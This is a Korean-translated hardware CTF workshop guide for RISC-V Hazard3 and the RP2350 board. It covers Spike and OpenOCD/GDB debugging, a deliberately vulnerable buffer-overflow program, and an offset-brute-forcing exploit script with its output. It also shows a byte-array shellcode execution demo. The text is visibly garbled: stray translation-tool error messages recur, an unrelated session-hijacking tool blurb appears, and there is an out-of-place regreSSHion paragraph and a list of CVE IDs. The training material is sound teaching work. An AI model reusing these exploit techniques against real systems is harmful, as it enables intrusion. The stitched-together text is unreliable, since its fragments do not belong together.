Please provide the Markdown content to translate.``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
Spike 디버거 내부:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a
이제 main 함수의 시작 부분에 있습니다. 엔터를 눌러 명령어를 하나씩 단계별로 실행하세요.``` (spike) core 0: 0x0001016a (0x00001141) c.addi sp, -16 (spike) core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp) (spike) core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp) (spike) core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
`help` 명령을 사용하여 더 많은 옵션을 볼 수 있습니다.
Spike는 매우 기본적인 디버거이므로, 외부 `riscv32-unknown-elf-objdump`, `dump` (spike 명령) + 외부 `hexdump`를 결합하여 메모리와 코드를 더 효과적으로 분석하세요...
## 허접한 POC 예제
Spike 에뮬레이터를 사용하여 RISCV Hazard3에서 고전적인 버퍼 오버플로를 익스플로잇하는 허접한 POC 예제입니다.
RISCV에서는 반환 주소가 x86에서처럼 스택에 저장되는 대신 레지스터에 저장될 수 있습니다. 스택 기반 반환 주소 덮어쓰기를 가능하게 하기 위해, 반환 주소를 스택에 푸시하도록 중첩 함수 호출을 추가했습니다.
test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
func3(exbuff);
}
static void __attribute__((optimize("O0"))) func1(void)
{
unsigned char exbuff[10] = { 0 };
func2(exbuff);
}
static void __attribute__((optimize("O0"))) func_impossible(void)
{
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("good hacker!\n");
exit(0);
}
int main(int argc, char* argv[])
{
printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
printf("func_impossible address: %p\n", func_impossible);
if (argc < 2)
{
printf("Error, must execute with one arg\n");
return 1;
}
printf("argv 1: %s\n", argv[1]);
strcpy((char*)buff, argv[1]);
func1();
return 0;
}
dotest.sh``` #!/usr/bin/env bash
set -x
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
dotest.sh 실행 후의 출력 결과입니다```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140
보시다시피, 우리는 버퍼를 성공적으로 오버플로우하여 프로그램 카운터(pc)를 0x41414140으로 제어했습니다. 이는 ASCII에서 'AAAA'에 해당합니다.
이제 실행 흐름을 func_impossible 함수로 리디렉션하기 위해 CRAP poc-exploit 페이로드를 생성해 보겠습니다.
익스플로잇 페이로드를 생성하려면 반환 주소를 덮어쓸 올바른 오프셋을 확인한 다음 func_impossible 함수의 주소를 추가해야 합니다.
xpl.sh``` #!/usr/bin/env bash
set -e
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..." $CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..." FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then echo "[-] Error: Could not get func_impossible address" exit 1 fi
echo "[+] func_impossible address: $FUNC_ADDR"
ADDR_DEC=$((FUNC_ADDR)) BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF))) BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF))) BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF))) BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \x$BYTE1 \x$BYTE2 \x$BYTE3 \x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100" exit 1
xpl.sh 실행 후의 출력 예시```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21
[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!
[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin``` 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
`xpl.sh` 스크립트는 `func_impossible` 함수에 도달하는 데 필요한 오프셋을 성공적으로 브루트포스하는 CRAP POC입니다. 특정 요구 사항에 맞게 익스플로잇을 수정하거나 조정해야 할 수도 있습니다.
# Payload / Shellcode 작성 RISCV Hazard3
이 섹션에서는 Hazard3 RISC-V 코어를 위한 고수준 C 코드에서 원시 명령어 셸코드로의 전환을 보여줍니다. 표준 Pico SDK 프로젝트로 시작하여 바이트 배열에서 원시 머신 코드를 실행할 수 있을 때까지 점진적으로 추상화를 제거합니다.
크로스 컴파일 툴체인을 설치하고 Pico SDK를 클론하세요.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
Please provide the Markdown content to translate.```
cd && mkdir ~/PAYLOAD
I didn't receive any source text to translate in this chunk. Please provide the Markdown content for chunk 123.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
RISC-V 아키텍처를 사용하여 프로젝트를 RP2350용으로 구체적으로 구성합니다. 호환성을 보장하기 위해 플랫폼 및 툴체인 버전을 정의한다는 점에 유의하세요.
파일: `~/PAYLOAD/CMakeLists.txt```` set(PICO_PLATFORM rp2350-riscv) set(PICO_BOARD pico2 CACHE STRING "Board type") set(sdkVersion 2.2.0) set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc poc.c )
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1) pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
## 간단한 C 파일
GPIO를 토글하는 간단한 C 프로그램부터 시작합니다. 이 버전은 외부 SDK 함수에 의존합니다.
파일: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"
static void __attribute__((optimize("O0"))) onled(void) {
gpio_put(25, 1);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
프로젝트를 컴파일하고 결과 바이너리를 검사하세요.``` cd ~/PAYLOAD/ rm -rf build/ && cmake -S . -B build && make -C build -j
파일: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
If we check the disassembly, we can see how the compiler handles the function calls.
File: `~/PAYLOAD/build/poc.dis```` .... 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 2031 jal 10000146 <gpio_put> 1000013c: 0001 nop 1000013e: 40b2 lw ra,12(sp) 10000140: 4422 lw s0,8(sp) 10000142: 0141 addi sp,sp,16 10000144: 8082 ret .... 10000146 <gpio_put>: 10000146: 28a01533 bset a0,zero,a0 1000014a: d00007b7 lui a5,0xd0000 1000014e: c199 beqz a1,10000154 <gpio_put+0xe> 10000150: cf88 sw a0,24(a5) 10000152: 8082 ret 10000154: d388 sw a0,32(a5) 10000156: 8082 ret ....
## asm 코드가 포함된 C 파일 (외부 호출 없음)
독립형 페이로드를 만들려면 외부 점프를 피해야 합니다. 인라인 어셈블리를 사용하여 하드웨어 레지스터와 직접 상호작용하도록 함수를 다시 작성합니다.
파일: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
__attribute__((naked, optimize("O0"))) void onled(void) {
__asm__ volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
이제 디스어셈블리를 보면 함수가 완전히 자체 완결적임을 알 수 있습니다:
파일: `~/PAYLOAD/build/poc_with_asm.dis```` 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 28a01533 bset a0,zero,a0 1000013e: d00007b7 lui a5,0xd0000 10000142: c199 beqz a1,10000148 <onled+0x1a> 10000144: cf88 sw a0,24(a5) 10000146: a011 j 1000014a <onled+0x1c> 10000148: d388 sw a0,32(a5) 1000014a: 0001 nop 1000014c: 40b2 lw ra,12(sp) 1000014e: 4422 lw s0,8(sp) 10000150: 0141 addi sp,sp,16 10000152: 8082 ret 10000154: 0001 nop
## 페이로드 코드 / 셸코드 스타일의 C 파일
opcode를 바이트 배열로 추출하고 함수 포인터로 캐스팅하여 실행합니다.
File: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
unsigned char payload[] = {
"\x41\x11" // 1141
"\x06\xc6" // c606
"\x22\xc4" // c422
"\x00\x08" // 0800
"\x85\x45" // 4585
"\x65\x45" // 4565
"\x33\x15\xa0\x28" // 28a01533
"\xb7\x07\x00\xd0" // d00007b7
"\x99\xc1" // c199
"\x88\xcf" // cf88
"\x11\xa0" // a011
"\x88\xd3" // d388
"\x01\x00" // 0001
"\xb2\x40" // 40b2
"\x22\x44" // 4422
"\x41\x01" // 0141
"\x82\x80" // 8082
"\x01\x00" // 0001
};
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
((void (*)(void))(void*)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
빌드 후, 페이로드가 메모리에 올바르게 매핑되었는지 확인할 수 있습니다.
파일: `~/PAYLOAD/build/poc_payload_asm.dis```` 20000e74 : 20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..( 20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@ 20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
# 하드웨어 디버깅
도전 과제 중 하나는 실제 하드웨어 디버깅을 위해 다른 참가자와 팀을 구성하거나 RP2350 보드를 두 개 준비해야 합니다. 그 방법을 배워 봅시다.
(pico-sdk가 설치되어 있어야 합니다)
/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev" KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
이 도구는 특정 웹 애플리케이션에서 발견된 취약점을 악용하여 획득한 세션을 관리하는 데 도움을 주는 세션 하이재킹 도구입니다. 이 도구를 사용하면 침투 테스터가 세션 ID를 가로채고 이를 사용하여 사용자를 가장할 수 있습니다.
### 주요 기능
- **세션 가로채기**: 네트워크 트래픽을 모니터링하여 활성 세션 ID를 캡처
- **쿠키 조작**: 가로챈 세션 쿠키를 수정하고 재생
- **세션 고정 공격**: 사용자 세션을 공격자가 알고 있는 세션 ID로 고정
- **자동 세션 재생**: 가로챈 세션을 사용하여 자동으로 요청 재생
### 설치
```bash
git clone https://github.com/example/session-hijacker.git
cd session-hijacker
pip install -r requirements.txt
python session_hijacker.py -i eth0 -t http://target.com
먼저 대상 보드에 .uf2 RISCV 펌웨어를 플래시해야 합니다. CTF가 RISCV 펌웨어를 사용하므로 이 단계는 필요하지 않습니다. 게다가 그 펌웨어를 디버깅하고 싶을 테니까요!
하나의 RP2350 보드를 이 펌웨어로 Hardware-Debugger-board로 변환하세요: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
하드웨어 디버거 보드를 대상 보드에 연결하세요

RISCV-openocd를 연결하세요```
cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
Please provide the Markdown content to translate.```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
-f interface/cmsis-dap.cfg
-f target/rp2350-riscv.cfg
-c "set USE_CORE { rv0 }"
-c "adapter speed 5000"
-c "gdb breakpoint_override hard"
-c "init"
I don't see any content in the input to translate. Please provide the chunk text so I can translate it from English to Korean.```
Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info : [rp2350.rv0] Hardware thread awareness created
Info : [rp2350.rv1] Hardware thread awareness created
ocd_process_reset_inner
rv0
adapter speed: 5000 kHz
force hard breakpoints
Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.0.0
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.rv0] datacount=1 progbufsize=2
Info : [rp2350.rv0] Disabling abstract command reads from CSRs.
Info : [rp2350.rv0] Disabling abstract command writes to CSRs.
Info : [rp2350.rv0] Core 0 could not be made part of halt group 1.
Info : [rp2350.rv0] Examined RISC-V core
Info : [rp2350.rv0] XLEN=32, misa=0x40901105
Info : [rp2350.rv0] Examination succeed
Info : [rp2350.rv1] datacount=1 progbufsize=2
Info : [rp2350.rv1] Disabling abstract command reads from CSRs.
Info : [rp2350.rv1] Disabling abstract command writes to CSRs.
Info : [rp2350.rv1] Core 1 could not be made part of halt group 1.
Info : [rp2350.rv1] Examined RISC-V core
Info : [rp2350.rv1] XLEN=32, misa=0x40901105
Info : [rp2350.rv1] Examination succeed
Info : [rp2350.rv0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
이제 RISCV-GDB를 연결하세요:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q
-ex "set pagination off"
-ex "set remote interrupt-on-connect off"
-ex "target remote localhost:3333"
-ex "monitor targets rp2350.rv0"
-ex "monitor halt"
-ex "info reg"
출력:```
Remote debugging using localhost:3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x20001d56 in ?? ()
rp2350.rv0 halted due to breakpoint.
rp2350.rv1 halted due to debug-request.
ra 0x2001041c 0x2001041c
sp 0x20010400 0x20010400
gp 0x20031455 0x20031455
tp 0x0 0x0
t0 0x2000d7ba 536926138
t1 0x6a8c 27276
t2 0x200103a0 536937376
fp 0x20082000 0x20082000
s1 0x20010450 536937552
a0 0x0 0
a1 0x7232 29234
a2 0xffa00000 -6291456
a3 0x7206 29190
a4 0x0 0
a5 0xbdf0 48624
a6 0x7750 30544
a7 0x1 1
s2 0x10000036 268435510
s3 0x0 0
s4 0x0 0
s5 0x0 0
s6 0x0 0
s7 0x0 0
s8 0x0 0
s9 0x0 0
s10 0x0 0
s11 0x0 0
t3 0x200103d4 536937428
t4 0x0 0
t5 0x6b0c 27404
t6 0x74f8 29944
pc 0x20001d56 0x20001d56
x/10i $pc를 사용하여 현재 pc에서 명령어 10개를 디스어셈블합니다:``` (gdb) x/10i $pc => 0x20001d56: lui a5,0x20031 0x20001d5a: lbu a5,-931(a5) 0x20001d5e: .insn 2, 0x9fe1 0x20001d60: xori a5,a5,1 0x20001d64: .insn 2, 0x9fe1 0x20001d66: bnez a5,0x20001d54 0x20001d68: li a0,2000 0x20001d6c: jal 0x20004ce2 0x20001d70: nop 0x20001d72: li a5,1
이 시점부터 칩을 디버깅할 수 있습니다.
## Black Magic Debug Probe RP2350 RISCV Hazard3

Black Magic Debug Probe 구매: JTAG 케이블, 0.1" UART 케이블 및 20핀 어댑터 포함:
- https://1bitsquared.de/products/black-magic-probe
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
# Black Magic Probe
# there are two connections, one for GDB and one for UART debugging
# copy this to /etc/udev/rules.d/99-blackmagic.rules
# and run sudo udevadm control -R
ACTION!="add|change|bind", GOTO="blackmagic_rules_end"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess"
LABEL="blackmagic_rules_end"
OpenSSH, 가장 널리 사용되는 SSH 구현체로, 사전 인증 취약점 CVE-2024-6387을 포함하고 있으며, 이는 regreSSHion이라는 별칭으로 불리며, 시스템에 가장 높은 수준의 위험을 초래합니다 (Critical / CVSS 8.1). 이 취약점은 OpenSSH 버전 8.5p1에서 9.8p1까지에 영향을 미치며, 특히 서버가 glibc 기반의 Linux 시스템을 사용할 때 발생합니다. 공격은 타이밍 경쟁 조건에 의존하며, 원격 코드 실행 (RCE)으로 이어져 루트 계정에 대한 제어 권한을 획득하게 하며, 악성코드에 의해 취약한 시스템 전체로 전파될 가능성이 있습니다.
익스플로잇 코드 및 상세한 테스트 환경을 포함한 단계별 기술 분석이 아래에 제공됩니다.``` sudo udevadm control -R
업그레이드:
- https://black-magic.org/upgrade.html```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
BMP용 Black Magic Debug (RISC-V 타겟):``` ./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0 ✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets) ✔ What action would you like to take with this firmware? · Flash to probe Downloading requested firmware Found: Black Magic Probe 1.10.2 Serial: BEF6A9B0 Port: 1-3 Erasing flash... Flashing... 100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
(empty)```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
I apologize, but it appears the input content for chunk 171 was not included in your message. The "INPUT:" section is empty, so there is no text to translate.
Please provide the actual content of chunk 171, and I'll translate it into Korean following all the specified rules.``` ./bmputil-cli probe info Found: Black Magic Probe 2.0.0 Serial: BEF6A9B0 Port: 1-3
The input content for this chunk is missing — please provide the text to translate.```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
CVE-2024-20432 CVE-2024-20401 CVE-2024-20439 CVE-2024-20438 CVE-2024-20456 CVE-2024-20437 CVE-2024-20435 CVE-2024-20446 CVE-2024-20434 CVE-2024-20444 CVE-2024-20445 CVE-2024-20443 CVE-2024-20442 CVE-2024-20441 CVE-2024-20454 CVE-2024-20402 CVE-2024-20492``` /home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
입력된 Markdown 콘텐츠가 없습니다. 번역할 내용을 제공해 주세요.```
(gdb) target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
1 RP2350 rv32imac
2 RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa: addi a1,a1,4
0x100000ac: addi a2,a2,4
0x100000ae: bltu a2,a3,0x100000a6
0x100000b2: ret
0x100000b4: addi a3,sp,128
0x100000b6: addi s0,sp,32
0x100000b8: unimp
0x100000ba: fld fs0,0(s0)
0x100000bc: sw a3,96(a5)
0x100000be: jal 0x100000be
(gdb) c
Continuing.